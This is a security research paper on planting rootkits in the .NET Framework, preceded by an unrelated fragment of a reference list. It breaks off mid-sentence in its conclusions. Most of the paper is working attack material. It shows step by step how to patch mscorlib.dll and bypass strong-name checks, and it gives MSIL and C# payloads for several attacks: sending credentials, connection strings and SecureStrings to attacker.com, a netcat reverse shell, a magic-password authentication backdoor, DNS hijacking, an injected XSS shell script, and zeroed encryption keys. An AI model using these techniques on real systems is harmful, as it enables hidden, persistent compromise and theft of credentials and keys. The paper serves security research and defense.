https://soroush.secproject.com/blog/2012/10/dont-trust-a-string-based-on-tryparse-or- isnumeric-result-netvbscript/ 8. The PCI Security Standards Council Website https://www.pcisecuritystandards.org/ 9. Test Card Details for Your Test Transactions http://www.sagepay.co.uk/support/12/36/test-card-details-for-your-test-transactions 10. Common Weakness Enumeration https://cwe.mitre.org/ 11. Online shoplifting – exploiting e-commerce basket and voucher faults for five- finger discount https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/april/online- shoplifting-exploiting-e-commerce-basket-and-voucher-faults-for-five-finger-discount/
pdf
.NET Framework Rootkits – Backdoors Inside Your Framework 1 .NET Framework Rootkits: Backdoors inside your Framework March, 2009 (Revised) Erez Metula [email protected] [email protected] .NET Framework Rootkits – Backdoors Inside Your Framework 2 Table of content TABLE OF CONTENT .........................................................................................................................2 ABSTRACT ............................................................................................................................................3 INTRODUCTION..................................................................................................................................4 HOW CAN THE FRAMEWORK BE CHANGED?..........................................................................................4 MODIFYING THE FRAMEWORK CORE .......................................................................................6 OVERVIEW - STEPS & TOOLS FOR CHANGING THE FRAMEWORK...........................................................6 LOCATE THE DLL IN THE GAC ............................................................................................................6 ANALYZE THE DLL..............................................................................................................................7 DECOMPILE THE DLL USING ILDASM ...................................................................................................9 MODIFYING THE MSIL CODE .............................................................................................................10 RECOMPILE THE DLL USING ILASM....................................................................................................11 BYPASSING THE GAC STRONG NAME MODEL....................................................................................11 REVERTING BACK FROM NGEN NATIVE DLL....................................................................................14 ROOTKIT DEVELOPMENT - FUNCTION INJECTION................................................................................16 SENDTOURL(STRING URL, STRING DATA)...........................................................................................16 REVERSESHELL(STRING HOSTNAME, INT PORT)..................................................................................18 PRACTICAL EXAMPLES .................................................................................................................20 FORMS AUTHENTICATION CREDENTIAL STEALING..............................................................................20 BACKDOORING FORMS AUTHENTICATION...........................................................................................20 INSTALLING A REVERSE SHELL INSIDE A FRAMEWORK DLL...............................................................21 DNS RECORD FIXATION......................................................................................................................22 STEALING THE CONNECTION STRING FOR EVERY CONNECTION OPENING............................................22 INJECTING BROWSER EXPLOITATION FRAMEWORK INTO AUTO GENERATED HTML/JS FILES.............22 ENCRYPTION KEY FIXATION / STEALING /DOWNGRADING / ETC..........................................................23 SECURESTRING STEALING...................................................................................................................23 DISABLING SECURITY CHECKS............................................................................................................24 AUTOMATING THE PROCESS WITH .NET-SPLOIT.................................................................25 OTHER PLATFORMS RELEVANCY – JAVA ROOTKITS.........................................................29 CONCLUSIONS...................................................................................................................................30 ABOUT..................................................................................................................................................30 REFERENCES .....................................................................................................................................31 .NET Framework Rootkits – Backdoors Inside Your Framework 3 Abstract This paper introduces application level rootkit attacks on managed code environments, enabling an attacker to change the language runtime implementation, and to hide malicious code inside its core. The paper focuses on the .NET Framework, but the concepts described in this paper can also be applied to other platforms such as Java's JVM. The paper covers various ways to develop rootkits for the .NET framework, so that every EXE/DLL that runs on a modified Framework will behave differently than what it's supposed to do. Code reviews will not detect backdoors installed inside the Framework since the payload is not in the code itself, but rather it is inside the Framework implementation. Writing Framework rootkits will enable the attacker to install a reverse shell inside the framework, to steal valuable information, to fixate encryption keys, disable security checks and to perform other nasty things as described in this paper. This paper also introduces ".Net-Sploit" - a new tool for building MSIL rootkits that will enable the user to inject preloaded/custom payload to the Framework core DLL. .NET Framework Rootkits – Backdoors Inside Your Framework 4 Introduction The .NET framework is a powerful development environment which became the de- facto environment for software development. With .NET you can develop web applications, windows applications, web services and more. As a managed code environment, .NET enables the code to run inside its virtual machine - the CLR [1] – while abstracting the low level calls, allowing MSIL [2] code to benefit from the services it gives. Since the code written by the developer, whether it's in c#, vb.net, cobol.net, etc. must be compiled to MSIL, and afterwards to the CPU's instruction set on the fly ("JIT – Just In Time"), it is easy to reverse engineer it and extract the MSIL code from .NET compiled code. Readers are encouraged to learn more about .NET assembly reverse engineering [3] in order to better understand the techniques discussed in this paper. The process of assembly reverse engineering is much documented and there are many tools that enables you to observe the code of a given DLL and tamper with it. This paper discusses a new technique in which the traditional methods are applied to the Framework DLL in order to change the .NET language and install malicious code such as backdoors and rootkits inside it. Using Framework level rootkits, you can implement: • API Hooking (pre / post) • Method code modification • Object member manipulation • Method parameter manipulation • Polymorphism method overloading • Return value modification • Metadata streams tampering • RVA (Relative Virtual Address) item modification • Exe dynamic forking This paper will provide an example for some of the techniques listed above. How can the Framework be changed? Since a Framework DLL is just a regular .NET assembly after all, it is possible to apply the same concepts of reversing on this DLL in order to achieve code tampering. Tampering with the Framework DLL's means that we can modify the implementation of methods that the Framework exposes to the upper layer – the application. Since application level code relies on the Framework lower level methods to perform its job, changing the lower lever methods means that all the applications that rely on it will be influenced - and by that taking complete control over its behavior. The following abstract diagram shows this workflow – an example application code calls Console.WriteLine to print some string. WriteLine is implemented in a Framework DLL called mscorlib.dll, and in this example it was changed to always print the string "Hacked!". The end result here is that every application calling WriteLine will have this modified behavior, of displaying every string twice. .NET Framework Rootkits – Backdoors Inside Your Framework 5 The methods described in this paper can be applied to any version of the .NET Framework (1.0, 1.1, 2.0, 3.0, and 3.5). In order to maintain consistency, this paper focuses on version 2.0 of the .NET Framework, but can easily be applied to other versions of the Framework. And, as a side note – the methods described in this paper are not restricted only for the .NET Framework, but can also be applied to other VM based platforms, such as Java. It is important to mention that the technique described in this paper is considered as a post exploitation type attack! Such attacks are usually deployed after an attacker has managed to penetrate a system (using some other attack) and want to leave backdoors and rootkits behind, for further exploitation. In other words, changing the Framework requires administrator level privileges. Windows \ Web application .Net Class Library Windows APIs and services public void class DoSomething() { //some code ……….. Console.WriteLine(“Some String”); } mscorlib.dll public static void Write ( string value ) { ……// My Evil Code DoEvilThing(value) … } User interface Hacked! public static void WriteLine ( string s ) { //code that prints "Hacked!" regardless of //the string s } .NET Framework Rootkits – Backdoors Inside Your Framework 6 Modifying the Framework core Framework modification can be achieved by tampering with a Framework DLL and "pushing" it back into the Framework. This section describes in detail the necessary steps and the tools used to achieve this goal. The following steps will be demonstrated with a simple and intuitive example - we will modify the internal implementation of the "WriteLine(string s)" method so that every time it is called "s" will be printed twice. Overview - steps & tools for changing the Framework The process is composed of the following steps: Locate the DLL in the GAC, and copy it outside Analyze the DLL Decompile the DLL using ildasm Modify the MSIL code Recompile to a new DLL using ilasm Bypass the GAC strong name protection Reverting back from NGEN Native DLL Deploy the new DLL while overwriting the original Below are the tools needed to perform the methods described next: Filemon – locating which DLL’s are used and their location in the GAC Reflector – analyzing the DLL code Ilasm – compiling (MSIL -> DLL) Ildasm – decompiling (DLL -> MSIL) Text editor – modifying the MSIL code Ngen - native compiler Locate the DLL in the GAC Our example begins with a simple "Runme.exe" test application that calls Console.WriteLine in order to print some string - obviously, only 1 time. The compiled application code will help us to identify what are the Framework DLL's used and their exact location. class Hello { static void Main(string[] args) { Console.WriteLine("Hello (crazy) World!"); } } .NET Framework Rootkits – Backdoors Inside Your Framework 7 Using Filemon [4], a file access monitor tool, it is possible to observe the files that our Runme.exe application is making. Our mission is to identify which DLL is used and its location in the GAC (Global Assembly Cache). Looking at Filemon while executing "Runme.exe" gives us the following information: As can be seen, we can identify access to the file mscorlib.dll, located at c:\WINDOWS\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089. This DLL file contains the WriteLine function (among other important functions), and it’s of the most important DLL’s. After we have located it - let’s copy it to some temp directory, outside of the GAC. Now, our task will be to locate the "WriteLine(string)" method inside the mscorlib.dll and modify its MSIL code, which will be discussed in the following sections. Analyze the DLL The next thing we would like to do is to peek at the code of this interesting DLL, which is responsible for many of the basic operations such as IO, Security, Reflection, etc. In order to better understand the MSIL code, it is preferred to observe it in a higher level .NET language, such as C#. Reflector [5], which is an amazing tool for various .NET assembly reversing, can help us analyze the code and decide where and what we want to do. .NET Framework Rootkits – Backdoors Inside Your Framework 8 Looking at mscorlib, we can find the WriteLine method under the System namespace at the Console class. The information about the namespace and class can be retrieved from the runme executable MSIL code: call void [mscorlib]System.Console::WriteLine(string) .NET Framework Rootkits – Backdoors Inside Your Framework 9 We can see the WriteLine(string) function, and its MSIL code: .method public hidebysig static void WriteLine(string 'value') cil managed { .permissionset linkcheck = {class 'System.Security.Permissions.HostProtectionAttribute, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089' = {property bool 'UI' = bool(true)}} // Code size 12 (0xc) .maxstack 8 IL_0000: call class System.IO.TextWriter System.Console::get_Out() IL_0005: ldarg.0 IL_0006: callvirt instance void System.IO.TextWriter::WriteLine(string) IL_000b: ret } // end of method Console::WriteLine The method starts with a signature (containing some information that we'll refer to later), the stack size, and the code itself. The lines starting with IL_XXXX are the MSIL code for this function. Those lines are the ones we want to change. Now let's decompile this DLL using ildasm. Decompile the DLL using ildasm "ildasm" is The framework's MSIL disassembler that can produce MSIL code from a given assembly (EXE / DLL). Method signature Stack size Method MSIL code .NET Framework Rootkits – Backdoors Inside Your Framework 10 So in order to generate the MSIL code for mscorlib.dll, and write the output to mscorlib.dll.il we'll execute the following command: Modifying the MSIL code Now we have the decompiled code at mscorlib.dll.il, which is actually a text file containing MSIL code that is easy to work with. Let's load it in a text editor. Searching for the method signature .method public hidebysig static void WriteLine(string 'value') cil managed will brings us to the beginning of this function. Our task is, in order to make the WriteLine function print every string twice, is to double the MSIL code in this method that does this work. So we'll take the original lines of code (marked blue) IL_0000: call class System.IO.TextWriter System.Console::get_Out() IL_0005: ldarg.0 IL_0006: callvirt instance void System.IO.TextWriter::WriteLine(string) IL_000b: ret And double them. We will now have 3 new lines of code (marked red), injected between the end of the original code and the last "ret" (return opration). IL_0000: call class System.IO.TextWriter System.Console::get_Out() IL_0005: ldarg.0 IL_0006: callvirt instance void System.IO.TextWriter::WriteLine(string) IL_000b: call class System.IO.TextWriter System.Console::get_Out() IL_0010: ldarg.0 IL_0011: callvirt instance void System.IO.TextWriter::WriteLine(string) IL_0016: ret As can be seen, MSIL line recalculation needs to be performed for the new lines, according to MSIL code specification ("call" operation takes 5 bytes, "load" operation takes 1 byte, and so on). Another important thing we need to do is to fix the ".maxstack" directive which tells the CLR how much memory to allocate for this function on the stack. Although in some cases (such as this) it can be ignored, it is best to set this value to be New_maxstack = original_maxstack + appended_code_maxstack ILDASM /OUT=mscorlib.dll.il /NOBAR /LINENUM /SOURCE mscorlib.dll Original MSIL code Modified MSIL code .NET Framework Rootkits – Backdoors Inside Your Framework 11 So finally, WriteLine's code will be: .method public hidebysig static void WriteLine(string 'value') cil managed { .permissionset linkcheck = {class 'System.Security.Permissions.HostProtectionAttribute, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089' = {property bool 'UI' = bool(true)}} // Code size 12 (0xc) .maxstack 16 IL_0000: call class System.IO.TextWriter System.Console::get_Out() IL_0005: ldarg.0 IL_0006: callvirt instance void System.IO.TextWriter::WriteLine(string) IL_000b: call class System.IO.TextWriter System.Console::get_Out() IL_0010: ldarg.0 IL_0011: callvirt instance void System.IO.TextWriter::WriteLine(string) IL_0016: ret } // end of method Console::WriteLine Recompile the DLL using ilasm Next step is to generate a new “genuine” DLL out of the modified MSIL code we have. "ilasm" is The framework's MSIL assembler that can produce .NET assemblies (EXE / DLL) from a given text file containing MSIL code. In order to generate the modified mscorlib.dll from our mscorlib.dll.il text file we'll execute the next command: ILASM /DEBUG /DLL /QUIET /OUTPUT=mscorlib.dll mscorlib.dll.il Now we have a new modified mscorlib.dll! Our next task will be to deploy it back to the GAC. Bypassing the GAC Strong Name model Following the previous step, we now have a modified mscorlib.dll. So what we would like to do next is to deploy it back into the framework installation files, so that every .NET application will use it. Here is where things get a little bit tricky since the framework is using a digital signature mechanism called SN (strong name) that gives every DLL a unique signature in order to insure assembly integrity and to avoid the famous "DLL hell". Since our modified DLL has a different signature than the original one, it will probably fail to be loaded by other DLL's expecting the correct signature. Using the supported tools such as the gacutil.exe to install back into the obviously GAC fails. At first glance, it seems like we need to attack the PKI infrastructure used (since we don't have the original private key used by Microsoft to sign the DLL), which means we need to generate a fake Microsoft private/public key pair and re-sign the whole framework's DLL's, but there is a shortcut for this non trivial (but still possible) operation. 1st print 2nd print .NET Framework Rootkits – Backdoors Inside Your Framework 12 Surprisingly, it was found during this research that the modified DLL can be directly copied to the correct location at the file system, because the SN mechanism does not check the actual signature of a loaded DLL but just blindly loads a DLL from inside a directory containing the DLL signature string. It is important to mention that the signature bypass technique described in this paper is not the main issue here. The only interesting thing about it is how surprisingly easy it is to accomplish, but it is irrelevant to the concept of Framework level modification. Since an attacker who already has full control access to the machine can disable ANY security mechanism either way, he can always disable protection mechanism regardless of the implementation. Using windows explorer it is impossible to look at the GAC implementation at c:\windows\assembly, since it hides the details of the actual file system structure. As can be seen below, we can see the details of the mscorlib.dll, including the DLL version 2.0.0.0 and its signature (the public key token) - b77a5c561934e089 So we'll directly access the GAC's file system, by using a tool such as total commander. .NET Framework Rootkits – Backdoors Inside Your Framework 13 The structure of the directory containing the DLL is in the formation of VERSION_TOKEN. Looking at the content of this directory, we can find the original mscorlib.dll that we would like to overwrite. Upon request for this DLL from other executables running inside the framework, the framework will search for the required DLL based on his version and signature. The framework will not check for the actual signature but instead will rely on the signature mentioned in the directory file name. To put it in other words, the signature of the DLL itself is irrelevant, the only thing that matters is the directory in which it is located. .NET Framework Rootkits – Backdoors Inside Your Framework 14 Therefore, our next step is to just overwrite the original mscorlib.dll with our own modified version. copy mscorlib.dll c:\WINDOWS\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\ Unless there's a running application using this DLL, the copy is successful without any complains. Of course, you should close all applications that use it before copying, such as reflector, visual studio, etc. In order to perform the modified DLL deployment you must have administrator level permissions. Now let's try running our demo application and see what happens. For some strange reason, although we replaced the DLL, there is no observed influence. Looking closer at file system access using a tool such as FileMon, we can see that the framework is using a different version of this DLL located at a "NativeImages" directory. It seems like there is some caching mechanism that is using a pre-compiled native version of the original mscorlib.dll (the old version). In the next section we'll discuss how to disable this mechanism and force it to load our modified DLL code. Reverting back from NGEN Native DLL In order to speeds things up and to avoid the JIT (just-in-time) compiler for frequently used DLL's, Microsoft devised a powerful mechanism called NGEN [6] that can compile .NET assemblies into native code. Using this mechanism, when an assembly is needed the framework checks whether a pre-compiled native version of it exists, and if so it will load it in order to skip JIT compiling. So although we replaced the mscorlib.dll, the framework is not using it but rather uses the native version stored on the cache. .NET Framework Rootkits – Backdoors Inside Your Framework 15 In order to use our modified version, we will explicitly tell the framework not to use the native version, by issuing this command: ngen uninstall mscorlib And removing the native version of this DLL, by deleting the content of this directory rd /s /q c:\WINDOWS\assembly\NativeImages_v2.0.50727_32\mscorlib Another alternative, which will be discussed in my next paper, is to actually compile our modified DLL into native code, using the ngen utility and restore the original mscorlib.dll in order to hide traces. Running the test application again presents the following output: Success! We've managed to change the Framework! This was a simple proof of concept that the framework can be changed, by making each call to WriteLine to print the string twice. The rest of this paper deals with real world examples of installing rootkits and backdoors inside the framework, using the techniques discussed above. .NET Framework Rootkits – Backdoors Inside Your Framework 16 Installing Backdoors and Rootkits Now that we know we can modify the framework and make it behave the way we want - besides doing funny things like printing the same string twice, it is possible to plant undetected malicious code inside the framework itself. The meaning of this is that we can backdoor some sensitive internal methods, which enables us to deploy rootkits deep into the framework. The malicious code will be hidden and undetected inside the Framework - code review will never detect them because they’re not at the application level code. Besides code tampering and backdoors, framework level rootkits can hide its presence while utilizing traditional rootkits, techniques: • Backdooring authentication pages • Creating covert channels, reverse shells, etc. • Hiding specific files, directories, registry keys • Hiding services and process injection • Port manipulation • IP spoofing and DNS record manipulation The rest of this chapter provides a proof-of-concept concrete implementation for some of the traditional rootkit techniques employed by malware code. Let's start with the concept of function injection for malware code reuse. Rootkit development - Function injection In order to better develop rootkits, it’s recommended to have a separation between A new “ability” injected into the framework The code that use it For example, let's say we want to have the ability to send data to the attacker, and to use this ability in places where we know we can steal valuable data from the framework (passwords, encryption keys, runtime information, etc.). Since a new “ability” will be used in a couple of places, why not inject it as a new function (.NET method)? This function will enable us to implement a new method, which will actually extend the .NET language by giving it new abilities. Those functions can live “Side by side” with other methods - they can be injected separately or at once without interfering with each other. A few examples demonstrating development of the new abilities new abilities: let’s extend the framework with 2 new functions: SendToUrl(string url, string data) ReverseShell(string hostname, int port) Those functions will be used later on when we'll modify some other parts of the Framework. SendToUrl(string url, string data) This function will be used to transfer data from the victim machine to the attacker. The data transfer is implemented as an innocent http web request. Parameters url – the attacker’s collector page data – the data to send .NET Framework Rootkits – Backdoors Inside Your Framework 17 Implementation of this method is as follows (in C#): public static void SendToUrl(string url, string data) { WebRequest.Create(url + data).GetResponse(); } And its MSIL representation: .method public hidebysig static void SendToUrl(string url, string data) cil managed { // Code size 20 (0x14) .maxstack 8 IL_0000: nop IL_0001: ldarg.0 IL_0002: ldarg.1 IL_0003: call string System.String::Concat(string, string) IL_0008: call class [System]System.Net.WebRequest [System]System.Net.WebRequest::Create(string) IL_000d: callvirt instance class [System]System.Net.WebResponse [System]System.Net.WebRequest::GetResponse() IL_0012: pop IL_0013: ret } // end of method Class1::SendToUrl The usage of this method is very simple – when we want to transfer some valuable data to the attacker, all we have to do is call this function. Suppose there is a sensitive string (“SomeSensitiveStolenData”) the attacker wants to send to his collector page at http://www.attacker.com/DataStealer/RecieverPage.aspx, which receives some data as parameter "data" and logs it somewhere. So we would like to call this method as SendToUrl("http://www.attacker.com/DataStealer/RecieverPage.aspx?data=", "SomeSensitiveStolenData"); Suppose that we've injected the MSIL code of SendToUrl method to the System namespace at class Object in mscorlib.dll, so that we can reference our new method as System.Object::SendToUrl. The following injected MSIL code will call our new method: .locals init (string V_0) IL_0000: ldstr "SomeSensitiveStolenData" IL_0005: stloc.0 IL_0006: ldstr "http://www.attacker.com/DataStealer/RecieverPage.asp" + "x\?data=" IL_000b: ldloc.0 .NET Framework Rootkits – Backdoors Inside Your Framework 18 IL_000c: call void System.Object::SendToUrl(string, string) ReverseShell(string hostname, int port) This function will be used to provide a reverse shell to the attacker machine. It contains an encoded version of netcat + cmd that is deployed to disk at run time and executed (Inspired from the “dropandpop” [7] aspx backdoor). Parameters hostname – the attacker’s host address port – the attacker listening port Implementation of this function requires that ReverseShell will deploy netcat.exe + cmd.exe to the disk, and execute a reverse shell to the specified IP and PORT at the attacker machine: netcat IP PORT -e cmd.exe Code (omitted): .method public hidebysig static void ReverseShell(string ip, int32 port) cil managed { // Code size 259 (0x103) .maxstack 3 .locals init ([0] string cmdfilename, [1] string filename, [2] uint8[] netcat, [3] class System.IO.BinaryWriter binWriter1,[4] uint8[] cmd, [5] class System.IO.BinaryWriter binWriter2,[6] string arguments, [7] class [System]System.Diagnostics.Process proc, [8] object[] CS$0$0000) IL_0000: nop IL_0001: ldstr "cmd.exe" IL_0006: stloc.0 IL_0007: ldstr "netcat.exe" IL_000c: stloc.1 … … IL_0101: pop IL_0102: ret } // end of method ::ReverseShell The attacker needs to run netcat locally on his machine, waiting for incoming calls at port 1234 for example nc -l -p 1234 Calls to his specified port will be originated from the victim machine, forming a reverse shell tunnel .NET Framework Rootkits – Backdoors Inside Your Framework 19 Using this function is very simple. The following injected MSIL code will do the job of making a reverse shell to ip 192.168.50.12 at port 1234 IL_0000: ldstr "192.168.50.129“ // attacker ip address IL_0005: ldc.i4 0x4d2 // port 1234 IL_0006: call void System.Object::ReverseShell(string,int32) .NET Framework Rootkits – Backdoors Inside Your Framework 20 Practical examples As seen in previous sections, it is possible to modify the Framework with our own code, and to also add new methods to the Framework. This sections deals with real world practical examples, of how to modify existing Framework methods. This section also demonstrates the usage of the new methods declared above. Forms authentication credential stealing System.Web.dll contains a boolean method called Authenticate (string name, string password) which is used by .NET forms to authenticate users. Our task here is to append MSIL code to the end of this method, which will send the username and password to the attacker using the SendToUrl new method. Example: SendToUrl(“attacker.com”, name+”:”+password). Following the steps defined above at section "modifying the Framework core", let's locate the Authenticate method, and add code that calls SendToUrl to the end of this method. Now every time, in any .NET application that performs forms authentication, the username and password string will be send to the attacker. Note that this is a "post injection" technique, in which our code is injected at the end of the original method code. Backdooring forms authentication Another possible attack on the Authenticate function is to backdoor its logic. Let's add code to this method that anytime the supplied password will contain some special string (for example, “MagicValue!”) authentication will succeed Let’s add code to the beginning of Authenticate that will return true if password equals “MagicValue!” IL_0000: ldarg.1 IL_0001: ldstr "MagicValue" IL_0006: callvirt instance bool [mscorlib]System.String::Equals(string) IL_000b: brfalse.s IL_0015 IL_000d: ldc.i4.1 IL_000e: stloc.0 IL_000f: br.s IL_0020 Injected Original code (end of authenticate) Modified code(post injection) .NET Framework Rootkits – Backdoors Inside Your Framework 21 IL_0011: ldc.i4.0 IL_0012: stloc.0 IL_0013: br.s IL_0035 The modified code of Authenticate will be (seen as C# using Reflector, added code in red): Installing a reverse shell inside a Framework DLL In this example we’ll inject the ReverseShell function and execute it. For demonstration purpose, let’s make a reverse shell every time a winform executable is loaded (there's no meaning for opening a reverse shell each time like that, it's just easy to test and see that it works..). Winform applications are based on the Application class located in System.Windows.Forms.dll, which will be the target in this example. So we’ll inject code that execute our reverse shell into System.Windows.Forms.dll, at method Run(Form mainForm) which is executed each time a new application is created. Adding code that calls our ReverseShell function: Note that this is a "pre injection" technique, in which our code is injected at the beginning of the original method code. Injected Original code Modified code (pre injection) .NET Framework Rootkits – Backdoors Inside Your Framework 22 DNS record fixation All DNS queries perform (directly or indirectly) in the .NET Framework are handled by the Dns class, using the GetHostAddresses method for instance. This class is located in System.dll. In this example, let's modify this method and fixate the IP address returned to be the attacker's Man-In-the-Middle IP address. We can easily accomplish it by just pre-injecting the following 2 lines of code into the beginning of GetHostAddresses: IL_0000: ldstr "www.attacker.com" IL_0005: starg.s hostNameOrAddress This example will always return the query result for www.attacker.com, ignoring the requested hostname. This example can be extended to perform any DNS manipulation the attacker wishes. Stealing the connection string for every connection opening The class SqlConnection is responsible for opening the connection to the DB. This class is located inside System.Data.dll and contains an method called Open() which is responsible for opening a connection as specified in the connectionString class member variable. We can modify the behavior of Open() to send the connection string to the attacker each time it is called. So Open() can be changed so that a call to SendToUrl is placed at the beginning of this method (pre injection), sending the value of this.ConnectionString to the attacker collector page. C# representation of the modified Open() function will be: public override void Open() { SendToUrl(“www.attacker.com”, this.ConnectionString); … … } Injecting Browser exploitation framework into auto generated HTML/JS files The Framework contains many pieces of HTML / Javascript code that is used by aspx pages as code templates. Those pieces of code are contained as imbedded resources inside the Framework DLL's. For example, System.Web.dll contains lots of JS files that we can tamper with. It is possible to inject persistent javascript code into the templates (similar to the concept of persistent XSS). A very interesting attack would be to inject a call to some XSS framework, such as XSS shell: <script src="http://www.attacker.com/xssshell.asp?v=123"></script> .NET Framework Rootkits – Backdoors Inside Your Framework 23 Now we can "own" the clients browsers for every page they visit.. ☺ Encryption key fixation / stealing /downgrading / etc.. Example is a very interesting attack vector against .NET cryptography at mscorlib.dll (System.Security.Cryptography). Since it is possible to change the code, we can apply the following attacks: Key fixation can cause the encryption methods to always use the same key, giving a false sense of security to the user who thinks the encryption is performed using his chosen key. Key stealing can be achieved by sending encryption keys to the attacker (using SendToUrl, for example) Key/algorithm downgrading can be achieved by setting the least secure algorithm as the default for encryption (for example, setting the default symmetric algorithm to DES instead of the default AES.. ☺) And of course, those are just simple examples… Let's take a look for Rijndael key fixation. The following is the C# implementation of GenerateKey(): public override void GenerateKey() { base.KeyValue = new byte[base.KeySizeValue / 8]; Utils.StaticRandomNumberGenerator.GetBytes(base.KeyValue); } As can be seen, this method generates a byte array for KeyValue and calls the RNG that fills it with random bytes. Removing the RNG code and replacing it with some constant assignment for KeyValue will leaves us with a fixed value for the key. The simplest fixation can be achieved using a zero key by omitting the random number generation line and use the fact that byte arrays are initialized with zeroes: public override void GenerateKey() { base.KeyValue = new byte[base.KeySizeValue / 8]; } From the innocent user point of view, his data is encrypted. The only difference is that it's not his key… Securestring stealing SecureString is a special string protected with encryption by the .NET Framework. It is implemented as part of System.Security at mscorlib.dll Since it is a special string for protecting data otherwise stored as a regular string, it probably contains valuable data. .NET Framework Rootkits – Backdoors Inside Your Framework 24 It would be interesting to inject code that will send this data to the attacker, using SendToUrl for example. An interesting location would be to inject it into the Dispose() method of SecureString. Injected code (C# representation): IntPtr ptr = System.Runtime.InteropServices.Marshal.SecureStringToBSTR(secureString); SendToUrl(“www.attacker.com”, System.Runtime.InteropServices.Marshal.PtrToStringBSTR(ptr)); Disabling security checks Messing around with CAS (Code Access Security) can be achieved by modifying the behavior of important classes from System.Security, System.Security.Permissions, etc.. It is possible to disable security checks by changing the logic of CodeAccessPermission::Demand() CodeAccessPermission::Deny() CodeAccessPermission::Assert() FileIOPermission, RegistryPermission, etc. Using this technique, it is possible to backdoor security checks for specific users, specified DLL's, etc. .NET Framework Rootkits – Backdoors Inside Your Framework 25 Automating the process with .NET-Sploit During this research, it was clear that a specified tool is needed which can help with automating the process described above. .NET-Sploit [8] is a generic Framework modification tool developed as PoC for the techniques described in this paper that aide the process of injecting / modifying .NET assemblies. .NET-Sploit is able to: Modify a given function Inject payloads Execute payloads Takes care of “code reshaping” Pull the relevant DLL from the GAC Generate a deployer for the modified DLL .NET-Sploit is inspired from H.D. Moore’s amazing “metasploit” [9] exploit platform. Its specialty is the abstraction from which code injection is composed, and the separation of the following building blocks: Function – a new method to extend a specified DLL Payload – code that is injected into specific method Reference – reference to other DLL (if necessary) Item – XML based composition the above building blocks .NET Framework Rootkits – Backdoors Inside Your Framework 26 .NET-Sploit lets you develop functions and payload regardless of the way in which they'll be used by using the pre-defined "building blocks". It is the purpose of an item to declare a specific injection that combines the generic payload and functions. Example #1 – printing every string twice: Implementing it requires adding the same code to the WriteLine method, as the payload. Therefore, we need a payload file (WriteLine_Twice.payload) such as: IL_0000: call class System.IO.TextWriter System.Console::get_Out() IL_0005: ldarg.0 IL_0006: callvirt instance void System.IO.TextWriter::WriteLine(string) IL_000b: ret This payload needs to be injected into WriteLine, so we need to look for the method signature (declaration): .method public hidebysig static void WriteLine(string 'value') cil managed The following item file (WriteLine_Twice.item) contains the information required to make this injection: <CodeChangeItem name="Write every string twice"> <Description>The specified code will change WriteLine(string s) in such a way that each time it is called the string s will be printed twice </Description> <AssemblyName>mscorlib.dll</AssemblyName> <AssemblyLocation>c:\WINDOWS\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089 </AssemblyLocation> <NativeImageLocation>c:\WINDOWS\assembly\NativeImages_v2.0.50727_32\mscorlib </NativeImageLocation> <AssemblyCode> <FileName>writeline_twice.payload</FileName> <Location><![CDATA[.method public hidebysig static void WriteLine(string 'value') cil managed]]> </Location> <StackSize>8</StackSize> </AssemblyCode> </CodeChangeItem> We have here: • The description • The name of target assembly (mscorlib.dll) • The location in the GAC and native image • The payload details ("AssemblyCode"): o Name of payload file (writeline_twice.payload) o Method signature to search and inject into o Stacksize – 8 (same as in original method) .NET Framework Rootkits – Backdoors Inside Your Framework 27 Example #2 – sending authentication details to the attacker: The following is an example for an item that defines a modification for Authenticate(string username,string password). We need a payload file(call_steal_password.payload): IL_0000: ldstr "http://www.attacker.com/CookieStealer/WebForm1.aspx\?s=" IL_0005: ldarg.0 IL_0006: ldstr ":" IL_000b: ldarg.1 IL_000c: call string [mscorlib]System.String::Concat(string, string,string) IL_0011: call void System.Web.Security.FormsAuthentication::SendToUrl(string, string) IL_0016: ret Our payload is using the new SendToUrl method, so we need a function file for it, saved in "SendToUrl_generic.func" This payload needs to be injected into Authenticate, so we need to look for the method signature (declaration): .method public hidebysig static bool Authenticate(string name, The following item file (steal_authentication_credentials.item) contains the information required to make this injection: <CodeChangeItem name="Send data to URL"> <Description>The specified code will change the method "Authenticate(string username,string password)" in such a way that each time it is called the username+password will be send to the attacker collector page at http://www.attacker.com/CookieStealer/WebForm1.aspx </Description> <AssemblyName>System.Web.dll</AssemblyName> <AssemblyLocation>c:\WINDOWS\assembly\GAC_32\System.Web\2.0.0.0__b03f5f7f11d50a3a </AssemblyLocation> <NativeImageLocation>c:\WINDOWS\assembly\NativeImages_v2.0.50727_32\System.Web </NativeImageLocation> <AssemblyFunc> <FileName>SendToUrl_generic.func</FileName> <Location><![CDATA[} // end of method FormsAuthentication::Authenticate]]></Location> <BeforeLocation>FALSE</BeforeLocation> </AssemblyFunc> <AssemblyCode> <FileName>call_steal_password.payload</FileName> <Location><![CDATA[.method public hidebysig static bool Authenticate(string name,]]></Location> <StackSize>8</StackSize> </AssemblyCode> </CodeChangeItem> .NET Framework Rootkits – Backdoors Inside Your Framework 28 We have here: • The description • The name of target assembly (mscorlib.dll) • The location in the GAC and native image • The function details ("AssemblyFunc"): o Name of function file (SendToUrl_generic.func) o Location of injection to search for o Boolean value to declare whether to inject before or after the location • The payload details ("AssemblyCode"): o Name of payload file (writeline_twice.payload) o Method signature to search and inject into o Stacksize – 8 (same as in original method) For more information about .NET-Sploit, download of the tool and source code please refer to http://www.applicationsecurity.co.il/.NET-Framework-Rootkits.aspx .NET Framework Rootkits – Backdoors Inside Your Framework 29 Other platforms relevancy – Java Rootkits Although the focus of this paper is the .NET Framework, the techniques described here had been is not restricted to .NET. The same techniques were applied to Java's JVM, while extracting the java classes located in the JRE library directory (for example, in c:\Program Files\Java\jre6\lib). Here, you can find the java classes runtime classes stored in jar files. Using the same techniques, it is possible to extract the jar classes (for example, from rt.jar), modify the class byte code, repackage it and save it back into the library directory. As an example, below you can find the decompiled code (using DJ Decompiler) of the java class com.sun.security.auth.module.Crypt, providing password encryption routine that can easily be tampered using the same techniques described in this paper .NET Framework Rootkits – Backdoors Inside Your Framework 30 Conclusions Modification of the framework behavior can lead to some very interesting results as seen in this paper. An attacker who has managed to compromise your machine can backdoor your framework, leaving rootkits behind without any traces. Those rootkits can turn the framework upside down, letting the attacker do everything he wants while his malicious code is hidden deep inside the framework DLL’s. As the owner of the 